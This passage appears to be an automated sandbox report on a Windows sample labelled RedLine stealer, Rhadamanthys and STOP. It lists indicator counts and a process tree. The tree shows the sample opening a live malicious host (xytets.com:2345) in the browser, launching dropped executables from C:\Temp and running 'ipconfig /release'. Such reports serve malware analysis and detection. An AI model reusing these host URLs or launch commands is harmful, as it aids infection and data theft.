3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
648	cwrpjhbwuo.exe
648	cwrpjhbwuo.exe
648	cwrpjhbwuo.exe
648	cwrpjhbwuo.exe
648	cwrpjhbwuo.exe
648	cwrpjhbwuo.exe
648	cwrpjhbwuo.exe
648	cwrpjhbwuo.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
5840	msedge.exe
5840	msedge.exe
5840	msedge.exe
5840	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	916	i_cwrpjhbwuo.exe
Token: SeDebugPrivilege	2460	i_ojgbztrmje.exe
Token: SeDebugPrivilege	4580	i_ztoigbytrl.exe
Token: SeDebugPrivilege	1860	i_qligaysqlf.exe
Token: SeDebugPrivilege	5248	i_igavsqkida.exe
Token: SeDebugPrivilege	4624	i_dxspkifays.exe
Token: SeDebugPrivilege	5796	i_pnhfxupmkf.exe
Token: SeDebugPrivilege	1832	i_jhczusmkec.exe
Token: SeDebugPrivilege	1108	i_hbzurpkecz.exe
Token: SeDebugPrivilege	5620	i_uomjebwuom.exe
Token: SeDebugPrivilege	4700	i_jdbwtolgeb.exe
Token: SeDebugPrivilege	4684	i_ytqlgdywto.exe
Token: SeDebugPrivilege	3788	i_wqoigaytql.exe
Token: SeDebugPrivilege	2148	i_ifdxspnifa.exe
Token: SeDebugPrivilege	5548	i_ausnkfdxvs.exe
Token: SeDebugPrivilege	3920	i_pkhcausmkf.exe
Token: SeDebugPrivilege	4704	i_pmhczurpjh.exe
Token: SeDebugPrivilege	1056	i_hbztrmjebw.exe
Token: SeDebugPrivilege	3768	i_wuomgbywrl.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5840	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3616 wrote to memory of 3656	3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe	80
PID 3616 wrote to memory of 4196	3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe	81
PID 3656 wrote to memory of 4396	3656	iexplore.exe	82
PID 4196 wrote to memory of 5840	4196	iexplore.exe	83
PID 5840 wrote to memory of 4476	5840	msedge.exe	84
PID 5840 wrote to memory of 3640	5840	msedge.exe	86
PID 5840 wrote to memory of 4948	5840	msedge.exe	87
PID 5840 wrote to memory of 4948	5840	msedge.exe	87
PID 5840 wrote to memory of 4948	5840	msedge.exe	87
PID 5840 wrote to memory of 5132	5840	msedge.exe	88
PID 5840 wrote to memory of 5132	5840	msedge.exe	88
PID 5840 wrote to memory of 4484	5840	msedge.exe	89
PID 5840 wrote to memory of 3064	5840	msedge.exe	90
PID 5840 wrote to memory of 4484	5840	msedge.exe	89
PID 5840 wrote to memory of 4484	5840	msedge.exe	89
PID 5840 wrote to memory of 3064	5840	msedge.exe	90
PID 5840 wrote to memory of 3064	5840	msedge.exe	90
PID 5840 wrote to memory of 5708	5840	msedge.exe	91
PID 5840 wrote to memory of 5708	5840	msedge.exe	91
PID 5840 wrote to memory of 5708	5840	msedge.exe	91
PID 5840 wrote to memory of 1948	5840	msedge.exe	93
PID 5840 wrote to memory of 6056	5840	msedge.exe	94
PID 5840 wrote to memory of 1948	5840	msedge.exe	93
PID 5840 wrote to memory of 6056	5840	msedge.exe	94
PID 5840 wrote to memory of 2396	5840	msedge.exe	95
PID 3616 wrote to memory of 5416	3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe	96
PID 2396 wrote to memory of 4252	2396	msedge.exe	98
PID 5840 wrote to memory of 2056	5840	msedge.exe	101
PID 648 wrote to memory of 5736	648	cwrpjhbwuo.exe	102
PID 3616 wrote to memory of 4340	3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe	107
PID 3616 wrote to memory of 4748	3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe	111
PID 1436 wrote to memory of 5348	1436	ojgbztrmje.exe	113
PID 3616 wrote to memory of 4408	3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe	116
PID 3616 wrote to memory of 5076	3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe	120
PID 3412 wrote to memory of 4404	3412	ztoigbytrl.exe	122
PID 3616 wrote to memory of 4652	3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe	125
PID 3616 wrote to memory of 5236	3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe	129
PID 5056 wrote to memory of 5228	5056	qligaysqlf.exe	131
PID 3616 wrote to memory of 4868	3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe	134
PID 5840 wrote to memory of 5784	5840	msedge.exe	136
PID 5840 wrote to memory of 3044	5840	msedge.exe	137
PID 5840 wrote to memory of 5644	5840	msedge.exe	138
PID 5840 wrote to memory of 3164	5840	msedge.exe	139
PID 5840 wrote to memory of 3164	5840	msedge.exe	139
PID 5840 wrote to memory of 1716	5840	msedge.exe	142
PID 5840 wrote to memory of 1716	5840	msedge.exe	142
PID 3616 wrote to memory of 3584	3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe	143
PID 4760 wrote to memory of 1632	4760	igavsqkida.exe	145
PID 3616 wrote to memory of 5544	3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe	148
PID 3616 wrote to memory of 2440	3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe	152
PID 6132 wrote to memory of 4472	6132	dxspkifays.exe	154
PID 3616 wrote to memory of 2596	3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe	157
PID 3616 wrote to memory of 4028	3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe	161
PID 5476 wrote to memory of 2320	5476	pnhfxupmkf.exe	163
PID 3616 wrote to memory of 3380	3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe	166
PID 3616 wrote to memory of 1776	3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe	170
PID 5404 wrote to memory of 724	5404	jhczusmkec.exe	172
PID 3616 wrote to memory of 4608	3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe	175
PID 5840 wrote to memory of 5224	5840	msedge.exe	177
PID 5840 wrote to memory of 5224	5840	msedge.exe	177
PID 3616 wrote to memory of 3224	3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe	182
PID 4604 wrote to memory of 3772	4604	hbzurpkecz.exe	184
PID 3616 wrote to memory of 1032	3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe	187
PID 3616 wrote to memory of 2324	3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe	191

C:\Users\Admin\AppData\Local\Temp\2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3616
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home8102
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:3656
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home8102"
    3⤵
    PID:4396
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/ll/out.txt
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:4196
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/ll/out.txt"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:5840
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2e0,0x2e4,0x2e8,0x2dc,0x340,0x7ffbd888c188,0x7ffbd888c194,0x7ffbd888c1a0
      4⤵
      PID:4476
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1892,i,12088423160842109735,14962387488863379249,524288 --field-trial-handle=2416,i,6112397358189910121,13271374249231290298,262144 --variations-seed-version --mojo-platform-channel-handle=2444 /prefetch:11
      4⤵
      System Time Discovery
      PID:3640
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1772,i,947959197606209680,2803339840612223372,262144 --field-trial-handle=2416,i,6112397358189910121,13271374249231290298,262144 --variations-seed-version --mojo-platform-channel-handle=2412 /prefetch:2
      4⤵
      PID:4948
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2404,i,3212191902452066694,5433603572398366890,524288 --field-trial-handle=2416,i,6112397358189910121,13271374249231290298,262144 --variations-seed-version --mojo-platform-channel-handle=2676 /prefetch:13
      4⤵
      PID:5132
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3464,i,2425342213847878991,1529198479821409751,2097152 --field-trial-handle=2416,i,6112397358189910121,13271374249231290298,262144 --variations-seed-version --mojo-platform-channel-handle=3492 /prefetch:1
      4⤵
      PID:4484
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3488,i,10315090503882819348,6463386617025721052,2097152 --field-trial-handle=2416,i,6112397358189910121,13271374249231290298,262144 --variations-seed-version --mojo-platform-channel-handle=3504 /prefetch:1
      4⤵
      PID:3064
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=2572,i,8702386996307800276,14576934134023265529,2097152 --field-trial-handle=2416,i,6112397358189910121,13271374249231290298,262144 --variations-seed-version --mojo-platform-channel-handle=4300 /prefetch:1
      4⤵
      PID:5708
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5064,i,934390570980999157,11783252479124554771,524288 --field-trial-handle=2416,i,6112397358189910121,13271374249231290298,262144 --variations-seed-version --mojo-platform-channel-handle=5172 /prefetch:14
      4⤵
      PID:1948
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5060,i,11902242096868869043,8403390793295424368,524288 --field-trial-handle=2416,i,6112397358189910121,13271374249231290298,262144 --variations-seed-version --mojo-platform-channel-handle=5152 /prefetch:14
      4⤵
      PID:6056
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5804,i,9478851784087018228,5948010289139722406,524288 --field-trial-handle=2416,i,6112397358189910121,13271374249231290298,262144 --variations-seed-version --mojo-platform-channel-handle=5812 /prefetch:14
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2396
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
        
        cookie_exporter.exe --cookie-json=1128
        5⤵
        
        PID:4252
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5928,i,9551905342735095607,9909385103057511151,524288 --field-trial-handle=2416,i,6112397358189910121,13271374249231290298,262144 --variations-seed-version --mojo-platform-channel-handle=5944 /prefetch:14
      4⤵
      PID:3724
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5928,i,9551905342735095607,9909385103057511151,524288 --field-trial-handle=2416,i,6112397358189910121,13271374249231290298,262144 --variations-seed-version --mojo-platform-channel-handle=5944 /prefetch:14
      4⤵
      PID:2056
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5992,i,6989631710830725972,22802636923310572,524288 --field-trial-handle=2416,i,6112397358189910121,13271374249231290298,262144 --variations-seed-version --mojo-platform-channel-handle=5980 /prefetch:14
      4⤵
      PID:5784
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6368,i,2303636920856255666,12371485302586290272,524288 --field-trial-handle=2416,i,6112397358189910121,13271374249231290298,262144 --variations-seed-version --mojo-platform-channel-handle=6476 /prefetch:14
      4⤵
      PID:3044
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5984,i,3680559637259206638,7824976816216505939,524288 --field-trial-handle=2416,i,6112397358189910121,13271374249231290298,262144 --variations-seed-version --mojo-platform-channel-handle=6516 /prefetch:14
      4⤵
      PID:5644
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6500,i,3583619894240141985,5736305930817028739,524288 --field-trial-handle=2416,i,6112397358189910121,13271374249231290298,262144 --variations-seed-version --mojo-platform-channel-handle=6000 /prefetch:14
      4⤵
      PID:3164
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6532,i,7046451820680939156,6824143113243221593,524288 --field-trial-handle=2416,i,6112397358189910121,13271374249231290298,262144 --variations-seed-version --mojo-platform-channel-handle=5984 /prefetch:14
      4⤵
      PID:1716
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6588,i,6283570645376357373,14607609341368361389,524288 --field-trial-handle=2416,i,6112397358189910121,13271374249231290298,262144 --variations-seed-version --mojo-platform-channel-handle=5104 /prefetch:14
      4⤵
      PID:5224
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5828,i,15290501839921173700,9065969549403367541,524288 --field-trial-handle=2416,i,6112397358189910121,13271374249231290298,262144 --variations-seed-version --mojo-platform-channel-handle=6376 /prefetch:14
      4⤵
      PID:3008
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6480,i,13664882426092157102,13732108463992337183,524288 --field-trial-handle=2416,i,6112397358189910121,13271374249231290298,262144 --variations-seed-version --mojo-platform-channel-handle=6000 /prefetch:14
      4⤵
      PID:5016
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6700,i,5905656066804377211,14395084632099452821,262144 --field-trial-handle=2416,i,6112397358189910121,13271374249231290298,262144 --variations-seed-version --mojo-platform-channel-handle=6708 /prefetch:10
      4⤵
      PID:2588
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6720,i,10624519834049108064,15289378012353814552,524288 --field-trial-handle=2416,i,6112397358189910121,13271374249231290298,262144 --variations-seed-version --mojo-platform-channel-handle=6240 /prefetch:14
      4⤵
      PID:196
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\cwrpjhbwuo.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5416
- - C:\Temp\cwrpjhbwuo.exe
    C:\Temp\cwrpjhbwuo.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:648
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5736
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5664
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_cwrpjhbwuo.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4340
- - C:\Temp\i_cwrpjhbwuo.exe
    C:\Temp\i_cwrpjhbwuo.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:916
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ojgbztrmje.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4748
- - C:\Temp\ojgbztrmje.exe
    C:\Temp\ojgbztrmje.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1436
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5348
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5756
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ojgbztrmje.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4408
- - C:\Temp\i_ojgbztrmje.exe
    C:\Temp\i_ojgbztrmje.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2460
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ztoigbytrl.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5076
- - C:\Temp\ztoigbytrl.exe
    C:\Temp\ztoigbytrl.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3412
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4404
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3048
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ztoigbytrl.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4652
- - C:\Temp\i_ztoigbytrl.exe
    C:\Temp\i_ztoigbytrl.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4580
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\qligaysqlf.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5236
- - C:\Temp\qligaysqlf.exe
    C:\Temp\qligaysqlf.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5056
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5228
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4680
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_qligaysqlf.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4868
- - C:\Temp\i_qligaysqlf.exe
    C:\Temp\i_qligaysqlf.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1860
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\igavsqkida.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3584
- - C:\Temp\igavsqkida.exe
    C:\Temp\igavsqkida.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
